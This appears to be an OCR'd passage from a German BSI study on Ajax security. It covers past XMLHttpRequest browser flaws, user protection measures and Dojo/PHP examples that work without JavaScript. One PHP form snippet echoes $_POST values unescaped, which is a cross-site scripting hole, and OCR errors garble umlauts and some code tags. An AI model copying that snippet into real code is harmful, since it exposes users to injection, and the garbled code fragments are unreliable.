September 2005: Microsoft Internet Explorer XMLHttpRequest Parameter Validation Weak-
ness

http://www.securityfocus.com/bid/14969/

Cross-Site-Schutz aufgehoben. Referrer Spoofing, MITM-Attacke, HTTP-Request Smuggling,
HTTP-Response Splitting, Web-Cache Poisoning, Accessing Content / Web Scanning ermoglicht.

Januar 2006: XST Strikes Back
http://archives.neohapsis.com/archives/sf/www-mobile/2006-q1/0150.html
Erlaubt das Senden von TRACE Requests. Erlaubt das Auslesen von httponly-Cookies.

Februar 2007: Firefox + popup blocker + XMLHttpRequest + srand() = oops
http://archives.neohapsis.com/archives/fulldisclosure/2007-02/0103.html
Erlaubt das Lesen lokaler Dateien, wenn Popup-Blocker von Firefox aktiviert ist.

Februar, 2007: Web 2.0 backdoors made easy with MSIE & XMLHttpRequest
http://archives.neohapsis.com/archives/fulldisclosure/2007-02/0082.html

Erlaubt Zugriff auBlerhalb der Domain (Cross-Site Requests). Ermoglicht Auslesen von Cookies,
Tokens etc.

Februar 2007: Serious cookie stealing / same-domain bypass vulnerability
http://archives.neohapsis.com/archives/fulldisclosure/2007-02/0341.html

Erlaubt Zugriff auBerhalb der Domain (Cross-Site Requests). Ermoglicht nicht nur das Auslesen
von Cookies, sondern auch eine Manipulation des Inhalts!

5.5 Sicherheitsmaflinahmen fiir Benutzer

Die einzig sichere Mafinahme, die Benutzer gegen die gezeigten Angriffe wie Cross-Site Scripting,
Cross-Site Request Forgery, Session Hijacking, Data Harvesting usw. ergreifen konnen, ist die ge-
nerelle Deaktivierung von Aktiven Inhalten. Zu beachten ist hier besonders, dass es sich bei den be-
schriebenen Angriffen zum groflen Teil um Angriffe handelt, bei denen Schwachstellen in Web-An-
wendungen (also auf der Serverseite) ausgenutzt werden, um die Nutzer der betroffenen Web-An-
wendungen anzugreifen.

Da weder Web-Applikationen noch der Browser eine hundertprozentige Sicherheit bieten konnen,
stellt selbst eine selektive Freischaltung vertrauenswiirdiger Webseiten ein betrdchtliches Risiko
dar. Opfer sind letztlich die Benutzer, die gezwungen werden, Aktive Inhalte zu aktivieren, um das
Angebot einer Seite nutzen zu konnen.

Ajax und alle anderen Aktiven Inhalte wie JScript, VBScript, Java-Applets, Flash-Applets oder
ActiveX-Controls, werden direkt auf dem lokalen Rechner des Benutzers ausgefiihrt. Die imple-
mentierten Sicherheitsmanahmen des Browsers sollen dabei die Ausfiithrung und Aktivitét des
Scripts kontrollieren und entsprechend einschrianken, waren aber in der Vergangenheit immer wie-
der von Schwachstellen betroffen. Da die Ausfiihrung der Inhalte dabei unbemerkt vom Anwender
erfolgt, entsteht ein hohes Risiko. [BSI07a]
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Einfache Programmierfehler konnen Kontrollfunktionen des Browsers unwirksam machen oder die
Verfiigbarkeit des Browsers bzw. des gesamten Systems beeintrdchtigen. Durch Schwachstellen in
Web-Anwendungen oder durch die Erstellung eigener Seiten kann, wie in dieser Studie mehrmals
gezeigt wurde, auf einfache Weise gezielt Schadcode eingeschleust werden. Das Ausmal eines sol-
chen Angriffs beschréinkt sich dabei in den seltensten Féllen nur auf die Verfiigbarkeit, sondern
nutzt weitere Schwachstellen im Browser bzw. im Betriebssystem aus, um auf lokale Ressourcen
zuzugreifen und Trojanische Pferde oder sonstige Schadprogramme am lokalen System zu installie-
ren, die anschlieBend unabhéngig vom Browser laufen.

Um die Gefahrdung mdglichst gering zu halten, sollten Aktive Inhalte also standardméBig geblockt
werden. Eine sichere Losung dazu bietet die Kombination aus lokaler und zentraler Filterung wie in
Abbildung 5.17 dargestellt. Im Browser wird die Ausfiihrung Aktiver Inhalte iiber verfiigbare Ein-
stellungen und Plugins deaktiviert, zusétzlich werden auf einem Sicherheits-Gateway bzw. einem
Proxy die ilibertragenen Inhalte gefiltert.

Beliebiger Server Sicherheits- Sicherheits-
Gateway Gateway

Abbildung 5.17: Aktive Inhalte zentral sowie lokal blocken ([BSI07], Abbildung 1).

Anstatt vereinzelte Web-Anwendungen, die Aktive Inhalte nutzen, aber fiir den Benutzer zwingend
notwendig sind, freizuschalten und sich dem Risiko eines Angriffs auszusetzen, wird primér emp-
fohlen, ein besonders geschiitztes System fiir die Ausfithrung der Aktiven Inhalte zu verwenden.
Dies kann entweder ein Stand-Alone-PC sein, der keinerlei sensible Daten enthilt und sich in einem
getrennten Netz befindet oder ein Terminal-Server’, auf dem die Aktiven Inhalte lokal ausgefiihrt
und nur die grafischen Informationen an den Browser des Nutzers gesendet werden (siche Abbil-
dung 5.18) [BSI07]. Im Falle eines erfolgreichen Angriffs ist so das Risiko minimiert, da weder
sensible Daten verfiligbar sind, noch Zugriff auf das eigene, schiitzenswerte Netz moglich ist.

Eine voriibergehende Nutzung (Freischaltung) von Aktiven Inhalten auf dem eigenen System darf
nur dann erfolgen, wenn der gewlinschten Web-Anwendung mindestens genauso vertraut werden
kann wie dem internen LAN und wenn der Server besonders gegen das Einspielen fremder Inhalte
geschiitzt ist (vgl. [BSI07]).

3 Speziell gesichertes Terminalserver-System - Remote-Controlled Browsers System (ReCoBS):
http://www.bsi.bund.de/fachthem/sinet/gefahr/aktiveinhalte/schutzmoeglichkeiten/recobs/index.htm
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Abbildung 5.18: Zwei Varianten fiir die sichere Verwendung Aktiver Inhalte: besonders abgesi-
cherter Stand-Alone-PC oder Terminal-Server ([BSI07], Abbildung 2).

5.6 Zusammenfassung

Ajax gilt als eine der wichtigsten Komponenten fiir Web 2.0. Es verleiht Webseiten ein dynami-
sches Verhalten und eine erhohte Interaktivitit, die mit Hilfe herkdmmlicher Web-Technologien al-
lein und fiir sich genommen nicht mehr 16sbar wére. Beispielsweise konnen Formulare bereits wih-
rend der Eingabe serverseitig iiberpriift und vervollstandigt werden, Inhalte neu generiert und gela-
den werden, ohne dass der Anwender dabei durch stetes Neuladen der Seiten zum Warten gezwun-
gen wird.

So hat Ajax die Entstehung neuer Web-Anwendungen und Anwendungsmodelle ermdglicht und
Benutzer werden dazu verleitet, Aktive Inhalte auf ihrem Browser zu erlauben. Ajax erhoht somit
das Risiko fiir XSS- und CSRF-Angriffe. Durch die stindige Entwicklung neuer Funktionen und
zusiatzlicher Einsatzmoglichkeiten fiir das XHR-Objekt steigt letztlich auch das Sicherheitsrisiko
des Browsers.

Das Ausnutzen einer einzigen Sicherheitsliicke in einer Web-Anwendung oder das Verleiten des
Opfers, eine infizierte Seite zu 6ffnen, kann bereits ausreichen, um einen gezielten Angriff durchzu-
fithren. Das Ziel eines Angriffs ist dabei nicht die Web-Anwendung, sondern der Benutzer. Mit Hil-
fe von Ajax ist es moglich, vollig unbemerkt fiir das Opfer die Kontrolle {iber den Browser zu iiber-
nehmen. Weiterer Schadcode kann hinzugeladen werden, der sensible Daten der lokalen Festplatte
versendet oder manipuliert, Webseiten im internen Netz 6ffnet und ausliest oder sogar den infizier-
ten Browser fiir eine DDoS-Attacke missbraucht. Da der Datentransfer per Ajax nicht ohne Weite-
res ersichtlich ist, bleiben diese Angriffe zudem meist unbemerkt.

Aufmerksame Benutzer mit ndtiger Fachkenntnis konnten zwar vorab den aktuellen Quellcode nach
mutmallichem Schadcode absuchen, werden aber aufgrund verschiedener Moglichkeiten zur Ver-
schleierung meist nicht fiindig werden. Durch die Asynchronitéit von Ajax kann der bestehende
Code zudem jederzeit verdndert und erweitert bzw. bestehende Funktionen so abgeéndert werden,
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dass komplett neue Funktionen entstehen. Der Benutzer ist nicht mehr in der Lage festzustellen,
was in seinem Browser tatsidchlich ausgefiihrt wird.

Das bisher gewohnte Verhalten von Web-Anwendungen kann mit Ajax vollig verdndert werden.
Grundsitzlich kann, solange der Benutzer sich im Browser-Fenster befindet, jede Interaktion
(Mausbewegung, Tastaturanschlag etc.) mitgeloggt und versendet werden. Formulare kénnen be-
reits wihrend der Eingabe auf dem Server ausgewertet und beispielsweise validiert werden. Eine im
Grunde niitzliche Funktion, die jedoch in Form von Data Harvesting oder Keylogging sehr schnell
von Angreifern missbraucht werden kann.

Aufgrund der zahlreichen Schwachstellen und Angriffsmoglichkeiten sowie dem daraus resultieren-
den Risiko als Benutzer bleibt als einzige wirksame Sicherheitsmafinahme nur die generelle Deakti-
vierung Aktiver Inhalte. Entwickler und Unternehmen, die Web-Anwendungen anbieten, miissen
darauf achten, dass sdmtliche Ein- und Ausgaben durch Benutzer als nicht vertrauenswiirdig behan-
delt werden miissen und stets in beide Richtungen validiert bzw. gefiltert werden sollten, um das
Einschleusen von Schadcode zu verhindern.

Weitere Schutzmafinahmen und Best Practices zur Vorbeugung gegen typische Schwachstellen in
Web-Anwendungen bietet der Malnahmenkatalog ,,Sicherheit von Web-Anwendungen* [BSI06].
Des Weiteren sei auf das Modul des E-Government-Handbuchs ,,E-Government ohne Aktive Inhal-
te* [BSIO5a] verwiesen, das weitere Gefadhrdungen durch Aktive Inhalte aufzeigt und zahlreiche
Beispiele zur Verfiigung stellt, wie Aktive Inhalte vermieden werden konnen®.

4 http://www.ohne-aktive-inhalte.de/
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6 Alternativen zum Einsatz von JavaScript

Die Funktionsweise einer Web-Anwendung sollte nicht von Aktiven Inhalten abhéngen. Ein Besu-
cher, dessen Browser Aktive Inhalte nicht unterstiitzt oder aus Sicherheitsgriinden blockiert, ist an-
dernfalls nicht in der Lage, die Applikation zu nutzen.

Insbesondere beim Einsatz von JavaScript ist drauf zu achten, dass sowohl alle Informationen als
auch Interaktionen flir Browser ohne JavaScript erreichbar sind und die Darstellung sowie die Navi-
gation nicht beeintrachtigt ist. Eine Web-Anwendung, die keinerlei Aktive Inhalte verwendet, ent-
spricht gemif der BSI-Klassifizierung [BSI07] der Risikoklasse 0 und ist generell anzustreben.

Die nachfolgenden Code-Beispiele verwenden JavaScript, um den Komfort des Besuchers zu erho-
hen. Die Beispiele wurden so gewahlt, dass sie sowohl mit, als auch ohne JavaScript funktionieren
und die Anwendung somit nicht funktional von Aktiven Inhalten abhéngt (entspricht somit der Risi-
koklasse 1). Mit eventuellen Komforteinbuen konnte der jeweilige JavaScript-Code der folgenden
Beispiele auch entfernt werden und so Risikoklasse 0 erreichen.

6.1 Interaktion ohne JavaScript

In Form kurzer Codefragmente wird dargestellt, welche Alternativen es zu JavaScript gibt. Zuerst
werden die grundlegenden Funktionen fiir den Austausch von Nachrichten erldutert und anschlie-
end das Ajax-Framework ,,Dojo-Toolkit* analysiert und einzelne Félle beispielhaft dargestellt.

Fiir weitere Alternativen zur generellen Vermeidung Aktiver Inhalte und konkreter Anwendungsfal-
le siehe http://www.ohne-aktive-inhalte.de [BSI05a].

6.1.1 Web-Programmierung

Um individuell auf die Eingaben eines Benutzers reagieren zu konnen, reichen statische HTML-
Seiten nicht aus. Um beispielsweise eine Bestellung oder einen einfachen Suchbegriff entgegen zu
nehmen und eine entsprechende Aktion auszufiihren, konnen dynamische Seiten verwendet werden.
Bei solchen dynamischen HTML-Seiten wird ein Code eingebettet, der serverseitig bei jedem Auf-
ruf automatisch ausgefiihrt wird.

Die Wahl der passenden Programmiersprache richtet sich z. B. nach den Betriebsumgebungen des
Webservers, der gewiinschten Web-Anwendung oder vorhandenen Schnittstellen. Beim Aufrufen
einer dynamischen Webseite wird der eingebettete Code, im Gegensatz zu Aktiven Inhalten, auf
dem Server ausgefiihrt und nur das jeweilige Ergebnis dargestellt. Fiir den Besucher der Web-An-
wendung ist es somit egal, welche Programmiersprache verwendet wurde - er sieht in seinem Brow-
ser nur die fertige HTML-Seite und benétigt keine Plugins oder sonstige Anwendungen, um die
Seite darstellen zu kdnnen.

Fiir die folgenden Beispiele in diesem Kapitel wird als Programmier- bzw. Skriptsprache PHP ver-
wendet, die als Open-Source zur Verfiigung steht. PHP-Code wird in HTML-Seiten u. a. durch die
<2 2>-Tags eingebunden. Des Weiteren werden in den Beispielen die assoziierten Arrays $_GET
und s_posT verwendet, welche die iibergebenen GET- bzw. POST-Variablen des Benutzers enthal-
ten. Beispielsweise kann beim Aufruf der URL http://bsi.de/?suche=IT der iibergebene Suchbegriff
IT per $_GET['suche'] ausgelesen werden.
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6.1.2 Austausch von Nachrichten

Grundsétzlich erfolgt ein Austausch von Nachrichten ohne JavaScript durch das Neuladen einer
Seite bzw. durch den Sprung auf eine neu generierte Seite. Zwar kann das Nachladen eines Inhalts
in einfachen Féllen auch durch ein [Frame erfolgen:

<form action="news.html" target="iframe">
<input type="submit" value="Refresh News">
</form>
<p>
<b>current news:</b><br>
<iframe frameborder="0" marginwidth="0" name="iframe"></iframe>
</p>

zielfiihrender ist es jedoch, die komplette Seite serverseitig zu erstellen und diese zu laden:

<form action="index.php" target="_self">
<input type="submit" value="Refresh News">

</form>

<p>

<b>current news:</b><br>
<?=getNews () ?>
</p>

Um bei der Erstellung einer Webseite nicht zwei getrennte Seiten erstellen zu miissen, um Ja-
vaScript-fahige (kurz JS-Browser genannt) und nicht-JavaScript-fahige® Browser zu unterstiitzen,
muss die Darstellung so gewdhlt werden, dass Elemente bzw. deren Inhalte auch ohne JavaScript
gut sichtbar und deren Funktionsweisen (z. B.: Links, Nachladen von Inhalten) nicht eingeschrankt
sind.

Ein asynchroner Austausch von Nachrichten, der ein Nachladen ausgewahlter Elemente bietet (wie
bei Ajax), ist auch ohne JavaScript moglich (z. B. durch IFrames). Soll dieser Vorgang allerdings
aufgrund einer bestimmten Interaktion ausgefiihrt werden, wie beispielsweise der Eingabe eines
Buchstaben oder dem Positionieren der Maus, ist der alleinige Einsatz einer dynamischen Webseite
nicht ausreichend. Da solche Funktionen in vielen Fallen aber nur Hilfsfunktionen sind, die dem
Benutzer bei der Eingabe unterstiitzen sollen, ist der Einsatz von Aktiven Inhalten somit dennoch
vermeidbar.

Wird eine Schaltfliche bzw. ein Link als AnstoB fiir den Austausch von Nachrichten gewahlt, miis-
sen diese so gewdhlt werden, dass ohne JavaScript eine neue Seite geladen wird bzw. bei JS-Brow-
ser per Ajax der gewiinschte Inhalt aktualisiert wird:

<!-—— Formular: —--—>
<form action="index_news.php" target="_self">
<input type="submit" value="Aktualisieren" onclick="update(); return false">
</form>
oder:
<!—— Link: —-—>

<a href="index_news.php" onclick="update(); return false">Aktualisieren</a>

Diese beiden Codefragmente, ein Formular mit einem Aktualisieren-Button und ein einfacher
HTML-Link, wurden so gewahlt, dass sie in beiden Browsern die selbe Information liefern. Die
beiden HTML-Elemente (der Formular-Button und der HTML-Link) besitzen das optionale Attri-
but onclick, das von JS-Browsern beim Klicken des jeweiligen Elements aufgerufen wird. Folglich
fiihrt ein JS-Browser die Funktion update() aus, die per Ajax die gewlinschten Informationen nach-

5 Browser die JavaScript filtern, blocken bzw. JavaScript nicht unterstiitzen
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1adt und auf der bestehenden Seite anzeigt. Das return false am Ende der beiden onclick-Attribute
verhindert eine weitere Aktion des Browsers, der ansonsten noch das Formular absenden bzw. den
Link 6ffnen wiirde.

Ein nicht JS-Browser ignoriert das optionale onclick-Attribut und fiihrt die eigentliche HTML-
Funktion aus. Er 6ffnet somit die angegebene Seite, deren Inhalt serverseitig beispielsweise durch
PHP dynamisch generiert wird.

In beiden Fallen kommen Anwender mit der selben Interaktion zu den selben, angeforderten Infor-
mationen. POST-Requests konnen mit Hilfe von Formularen auf die gleiche Weise durchgefiihrt
werden — weitere, individuelle Requests, die per Ajax client-seitig mdglich sind, lassen sich aller-
dings ohne JavaScript nur serverseitig realisieren. Die gewiinschten Informationen (Header, Status-
code etc.) werden auf dem Server verarbeitet und dem Client wieder als HTML in geeigneter Form
présentiert.

6.1.3 Uberpriifung von Formulareingaben

Bei Formularfeldern kann bereits wihrend der Eingabe mit Hilfe von JavaScript die Richtigkeit
iiberpriift und ausgewertet werden. AuBBerdem konnen per Ajax durch asynchronen Austausch von
Nachrichten beispielsweise Vorschlidge zur automatischen Vervollstdndigung angezeigt werden.

Diese zusitzlichen Funktionen, die den Benutzer aktiv bei seiner Eingabe unterstiitzen sollen, sind
ohne JavaScript nicht moglich, aber auch nicht zwingend nétig. Stattdessen wird jeweils das kom-
plette Formular abgesendet, serverseitig iiberpriift und eventuelle Eingabefehler dem Benutzer beim
Neuladen der Seite angezeigt. Die eigentliche Funktion (Senden von Informationen) bleibt somit er-
halten, lediglich die Interaktion mit dem Benutzer zur Erleichterung der Eingaben fehlt.

Die endgiiltige Uberpriifung des Formulars muss aus Sicherheitsgriinden ohnehin in beiden Fillen
serverseitig erfolgen.

<form method="post" action="" onsubmit="return validateAll();">

Name <input type="text" name="name" id="name"
value="<?=$_POST['name']?>" onkeyup="validate(this)">

Address <input type="text" name="address" id="address"
value="<?=$_POST['address']?>" dojoType="ValidationTextBox"

<button dojoType="Button" type="reset">
<img src="cancel.gif" height="18" alt="Cancel" />Cancel</button>

<button dojoType="Button" type="submit"">
<img src="ok.gif" height="18" alt="OK"/>OK</button>

</form>
Bei diesem Beispiel werden bei JS-Browsern zusétzlich zu den definierten Events (onsubmit,

onkeyup etc.) die Dojo-Toolkit’-spezifischen Funktionen abgearbeitet. Andere Browser ignorieren
sowohl die Events als auch die zusédtzlichen Attribute des Dojo-Toolkits.

Abgesehen von der visuellen Riickmeldung bzw. des unnétigen Sendens der Formulardaten bei un-
giiltigen Eingaben, funktioniert dieses Formular auch ohne JavaScript problemlos.

6 Ein Ajax Framework
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6.1.4 Dynamische Effekte

Ajax-Frameworks bieten meist eine groe Anzahl von DHTML-Funktionen bzw. Widgets, die ver-
schiedene dynamische Effekte verwenden, um dem Benutzer Informationen niher zu bringen und
hervorzuheben.

Eine einfache Variante ist die Verwendung eines div-Elements als (Inline-)Popup. Besucher einer
Webseite sollen im néchsten Beispiel einmalig iiber neue Funktionen und Updates unterrichtet wer-
den. Serverseitig wird tiberpriift, ob der Besucher die aktuelle Nachricht bereits erhalten hat. Dieser
Aufruf kann sowohl client-seitig (per Ajax z. B. in regelméfigen Abstinden) als auch serverseitig
erfolgen. Stehen neue Informationen zur Verfiigung, wird das zuvor transparente div-Element ange-
zeigt und der Text gegebenenfalls aktualisiert (siche Abbildung 6.1).

. First elemnent

. Second
. Third el New updates available

Ted I =

. Firstele Download now: update344
. Second

. Third el
. Liwith
o C
< child two

Abbildung 6.1: div-Element mit absoluten Koordinaten

B B

Damit dies dynamisch sowohl mit JavaScript (jQuery-Framework), als auch ohne JavaScript funkti-
oniert, wird folgender Code verwendet:

<script type="text/JavaScript">
S (document) .ready (function () {
S('#fenster') .show(1000);
P

</script>

<style type="text/css">
#fenster {
position: absolute;
left: 100px;
[...]
text—-align: center;

}
</style>

<div id="fenster">
.
<form action="index.php?seen=1">
<button onclick="hide (150); return false">Close</button>
</form>
</div>

Bei JS-Browsern kann der Inhalt des div-Elements per Ajax abgefragt und per DOM aktualisiert
werden. Mit Hilfe des jQuery-Frameworks wird das Element nach Laden der Seite dynamisch ,,ein-
gefahren® und durch den onclick-Event durch den Benutzer dynamisch wieder ,,ausgefahren, ohne
die Seite neu laden zu miissen.

Ohne JavaScript wird das div-Element bereits serverseitig generiert und nur noch statisch angezeigt.
Beim Klicken auf den Button wird die Adresse vom Formular aufgerufen und folglich die Seite neu
geladen. Durch den iibergebenen Parameter wird die dynamisch generierte Seite nun so aufgebaut,
dass das div-Element nicht mehr angezeigt wird.
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In beiden Fillen erscheint das (Inline-)Popup, das die selbe Information bietet und sich auch wieder
schlieBen ldsst. Auf gleiche Art lassen sich auch andere Effekte fiir beide Browser realisieren, so-
fern eine serverseitige Unterstlitzung vorhanden ist.

6.2 Dojo-Toolkit

Das Dojo-Toolkit ist ein Ajax-Framework mit iiber 60.000 Zeilen JavaScript-Code. Neben einem
Wrapper fiir die XMLHttpRequest-Klasse bietet es zahlreiche visuelle Effekte und Widgets, die auf
einfache Weise in eine Webseite eingebunden werden konnen.

Inwieweit die Informationen, die mit Funktionen des Dojo-Toolkits aufbereitet wurden, bei richti-
ger Implementierung ohne JavaScript noch sinnvoll lesbar sind, sollen folgende Beispiele aufzei-
gen. Des Weiteren soll verdeutlicht werden, dass manche in JavaScript realisierte Funktionen auch
vollig ohne Aktive Inhalte auskommen, dem Benutzern aber dennoch den selben Komfort bieten.
Die Verwendung von JavaScript ist somit in manchen Fallen iiberfliissig und kann vermieden wer-
den.

6.2.1 Tabs

dojo.widget.{TabContainer, LinkPane, ContentPane, LayoutContainer}

Tabt | Tab2 | Tabs | SubTabContainer |

lamtab 3

Did you know that the children of a TabContainer can be any widget, such as
a SplitContainer or LayoutContainer? The next tab is itself a TabContainer...

-

| [0
Abbildung 6.2: Dojo-Toolkit - Tabs mit JavaScript

Mit Tabs lassen sich sowohl lokale, als auch externe Informationen wie im Bild dargestellt anzei-
gen. Durch weitere Attribute l4sst sich u. a. bestimmen, ob der Inhalt eines Tabs jedes Mal neu ge-
laden werden soll:

<div id="mainTabContainer" dojoType="TabContainer" style="width: 100%;
height: 70%" selectedTab="tabl">

<div id="tabl" dojoType="ContentPane" label="Tab 1">
<hl>First Tab</hl>
I'm the first tab and my content is local.

</div>

<a dojoType="LinkPane" href="tab2.html" refreshOnShow="true">Tab 2</a>

<div dojoType="ContentPane" label="Tab 3">
<h1>I am tab 3</hl>
<p>Did you know that the children of a TabContainer can be any widget,
such as a SplitContainer or LayoutContainer? The next tab is itself a
TabContainer...</p>
</div>

<div id="subTabContainer" dojoType="TabContainer" label="Sub TabContainer">
<a dojoType="LinkPane" href="tabl.html">SubTab 1</a>
<a dojoType="LinkPane" href="tab2.html" selected="true">SubTab 2</a>
</div>
</div>
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Die Strukturierung der Seite erlaubt es, sémtliche Information dieser Seite auch ohne JavaScript an-
zuzeigen (Abbildung 6.3):

First Tab

I'm the first tab and my centent is local.
Tab2

lam tab 3

Did you know that the children of a TabContainer can be any widget, such as a SplitContainer
or LayoutContainer? The next tab is itself a TabContainer...

SubTab 1 SubTab 2

Abbildung 6.3: Dojo-Toolkit - Tabs ohne JavaScript

Externe Seiten, die bei JS-Browsern per Ajax asynchron nachgeladen werden, erscheinen ohne Ja-
vaScript als einfacher HTML-Link. Um die Abgrenzung der einzelnen Tabs besser darzustellen,

konnen zusétzliche <noscript>...</noscript> Tags eingefiigt werden, die bei JS-Browsern ig-
noriert werden.

6.2.2 Editor

dojo.widget.Editor
Dieses Widget erlaubt es Benutzern, Text im WY SIWY G-Stil zu formatieren:

INormaI j = §E|B FU‘%|C’$
This is the textinside the editor. Go ahead and edit it.

Mote that the toolbar items (above) are configurable. Look at the source of this page to see how.
And now for some latin...

+ Sed congue.
+ Aenean blandit sollicitudin mi.
+ Viaecenas pellentesgue.
Abbildung 6.4: Dojo-Toolkit - Editor mit JavaScript

Im HTML-Code wird dazu vorzugsweise ein fextarea-Feld verwendet, welches zusitzliches Attri-
bute erhilt:

<textarea dojoType="Editor" items="formatblock; |;insertunorderedlist;
insertorderedlist; |;bold;italic;underline;strikethrough; |;createlLink;">

<p>This <b>is</b> <i>the</i> text inside the editor. Go ahead and edit
it.</p>
<p>Note that the toolbar items (above) are configurable.
Look at the source of this page to see how.</p>
<p>And now for some latin...</p>
<ul>
<li>Sed congue.</li>
<li>Aenean blandit sollicitudin mi.</1li>
<li>Maecenas pellentesque.</1li>

</textarea>
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Ohne JavaScript werden diese Attribute ignoriert und der gewohnte Eingabebereich einer fextarea
wird verwendet:

<prThis <bris</b> <irthe</i> text inside the editor. Go ahead and edit it.</p>
<prNote that the toolbar items ({abowve) are configurable.

Lock at the scurce of this page to see how.</p»

<prAnd now for some latin...</p>

<ul>

IC

<lir5ed cengue.</lix

<li»Aenean blandit scllicitudin mi.</lix
<lirMaecenas pellentesque.</lix
<li>Vivamus ac urna.</li>

</ulx

<p>
Nunc consegquat nisi vitae guam. Suspendisse sed nunc. Froin
suscipit porta magna. Duis accumsan nunc in welit. Nam et nibh.
Nulla facilisi. Cras wenenatis urna et magna. Aenean magna mauris,
bibendum sit amet, semper guis, aliguet nec, sapien. Aliguam
aliguam cdic guis erat. Etiam est nisi, condimentum ncn, lacinia
ac, wehicula lacreet, elit. Sed interdum augue sit amet guam
dapibus semper. Nulla facilisi. Pellentesgue lcbortis erat nec
guam.

</p=

<p e

Sed arcu magna, molestie at, fringilla in, scdales eu, elit.
Curabitur mattis leorem et est. Quisgque et tortor. Integer bibendum
vulputate cdic. Nam nec ipsum. Vestibulum mcllis ercs feugiat
augue. Integer fermentum cdic lebortis ocdic. Nullam mellis nisl nen

Abbildung 6.5: Dojo-Toolkit - Editor ohne JavaScripf

Zwar ist die Eingabe mit JavaScript benutzerfreundlicher, Informationen gehen aber ohne Ja-
vaScript nicht verloren und der Text kann in beiden Féllen bearbeitet und beispielsweise als Teil ei-
nes Formulars gesendet werden.

6.2.3 Tooltip

dojo.widget.Tooltip

Mit Hilfe des Tooltip-Widgets konnen beliebige Inhalte sowie externe Seiten an ein Element gebun-
den werden:

<span id="one" class="tt">text</span>
<span dojoType="tooltip" connectId="one">
<b>
<span style="color: blue;">rich formatting</span>
<span style="color: red; font-size: x-large;"><i>!</i></span>
</b>
</span>

In einem JS-Browser wiirde dieses Beispiel wie folgt aussehen (Abbildung 6.6):

L, text
rich formatting ! |Tnultips withnutJS|
Abbildung 6.6: Dojo-Toolkit Abbildung 6.7: Dojo-Toolkit
Tooltip mit JavaScript Tooltip ohne JavaScript

Um die selbe Information in einem anderen Browser auf dhnliche Weise darzustellen, wird das
title-Attribut verwendet, um einen (unformatierten) Text anzeigen zu lassen (Abbildung 6.7):
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<span id="one" class="tt" title="Tooltips without JS">text</span>
<span dojoType="tooltip" connectId="one" style="display:none">
<b>
<span style="color: blue;">rich formatting</span>
<span style="color: red; font-size: x-large;"><i>!</i></span>
</b>
</span>

<script type="text/JavaScript">
document .getElementById('one') .title = "";
</script>

Wichtig dabei ist den Tooltip-Text des Dojo-Toolkits auszublenden (display: none) und das title-
Attribut mittels JavaScript wieder zu 16schen. Andernfalls wiirden in einem JS-Browser beide Tool-
tips angezeigt werden und in einem anderen Browser der Tooltip-Text des Dojo-Toolkits als einfa-
che HTML-Ausgabe erscheinen.

Bei Verwendung des Tooltip-Widgets muss der Tooltip-Text redundant ausgefiihrt werden. Des
Weiteren muss ein zusétzlicher JavaScript-Code eingefiigt werden, der die Tooltips der einzelnen
Elemente wieder 16scht. Bei aufwendigeren Tooltips (Links, etc.) muss der Tooltip-Text fiir nicht
JS-Browser mittels <noscript>...</noscript> aufbereitet werden.

6.2.4 Tree

dojo.widget.{LinkPane, Tree, TreeSelector}

Trees werden verwendet, um eine Explorer-dhnliche Navigation zu erstellen (Abbildung 6.8):

- rnnt root
docl
docl doc2
Abbildung 6.9: Dojo-Toolkit
dﬂEl Tree ohne JavaScript

Abbildung 6.8: Dojo-Toolkit
Tree mit JavaScript

Fiir die Darstellung ohne JavaScript (Abbildung 6.9) miissen fiir dieses Widget die Namen der No-
des und Links redundant angegeben werden. Zusétzlich muss auch die Bezeichnung fiir Wurzelele-
mente mittels <noscript>...</noscript> definiert werden, da diese andernfalls in JS-Browsern

zusitzlich sichtbar wére:

<div dojoType="TreeSelector" eventNames="select:nodeSelected"
widgetId="treeSelector"></div>

<div dojoType="Tree" toggle="wipe" toggleDuration="500"
selector="treeSelector">

<div dojoType="TreeNode" title="root"><noscript>root</noscript>
<div dojoType="TreeNode" title="docO0" object="docl.html">
<a href="docl.html">docl</html>
</div>
<div dojoType="TreeNode" title="docl" object="doc2.html">
<a href="doc2.html">doc2</html>
</div>
</div>

</div>
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6.2.5 Zusammenfassung

Durch teilweise zusétzlich nétige Redundanzen steigt zwar die Grof3e der zu iibertragenden Datei,
aber ermoglicht zumindest die selbe Information sowohl in JavaScript-fahigen als auch anderen
Browsern zu iibermitteln. Sofern die jeweiligen Webseiten dynamisch generiert werden, bleibt der
Programmieraufwand gering, da die selbe Variable lediglich mehrmals eingesetzt wird.

Widgets, die fiir eine {ibersichtlichere Darstellung verwendet werden (Panes, Trees, Popups etc.),
lassen sich zwar so modellieren, dass zumindest die Informationen bei anderen Browsern erhalten
bleiben, die Darstellungsform ist aber meist unzureichend und es wird somit im Allgemeinen besser
sein, sie zu vermeiden.

Zusitzliche Funktionen hingegen zur Uberpriifung bzw. visuellen Riickmeldung von Formularfel-
dern, Autovervollstindigung, Nachladen und Aktualisieren von Daten, Datumseingabe iiber Kalen-
der etc. lassen sich mit geringem Aufwand und ohne Redundanzen indirekt fiir beide Browser ein-
setzen. Benutzer, die Aktive Inhalte nicht verwenden, sind in der Lage, die Web-Anwendung mit
eventuellen Komforteinbullen vollstdndig zu nutzen.

6.3 Barrierefreiheit

Fiir die Verwendung von Ajax werden einerseits JavaScript und andererseits ein Browser, der die
XHR-Klasse unterstiitzt, vorausgesetzt. Beides ist mit nahezu jedem gidngigen Browser zu 16sen, je-
doch gibt es auch Anforderungen assistiver Technologien wie beispielsweise Screenreader, die zum
Vorlesen der Webseite verwendet werden.

Zur einfachen Erlduterung dient das Beispiel von standards-schmandards.com, die sich mit dem
Thema ,,Web Accessibility* auseinandersetzen. Eine Webseite bietet einen einfachen Taschenrech-
ner an, der zwei Zahlen addiert. Die Eingabe erfolgt iiber zwei Formularfelder und einem ,,Addie-
ren“~-Button. Das Ergebnis wird serverseitig berechnet und per Ajax und DHTML dynamisch wie-
der auf der Seite ausgegeben.

Grundsétzlich haben Screenreader kein Problem die Seite selbst und das Formular zu verwenden.
Allerdings wird durch das Klicken auf ,,Addieren* das dynamische Update der Seite nicht erkannt
und Benutzer erfahren auch bei mehrmaligen Klicken auf den Button kein Ergebnis.

Aktive Updates

Screenreader bzw. der darunter liegende Browser haben meist kein Problem XHR-Operationen zu
verarbeiten, lediglich die Verdanderung bzw. Darstellung der aktiven Updates kann im Normalfall
nicht nachvollzogen werden [Edwa05].

In dem vorherigen Beispiel konnte die Losung eine optionale Alert-Box sein, die durch eine Check-
box aktiviert werden kann und das Ergebnis bei jedem Klick auf ,,Addieren anzeigt. Screenreader
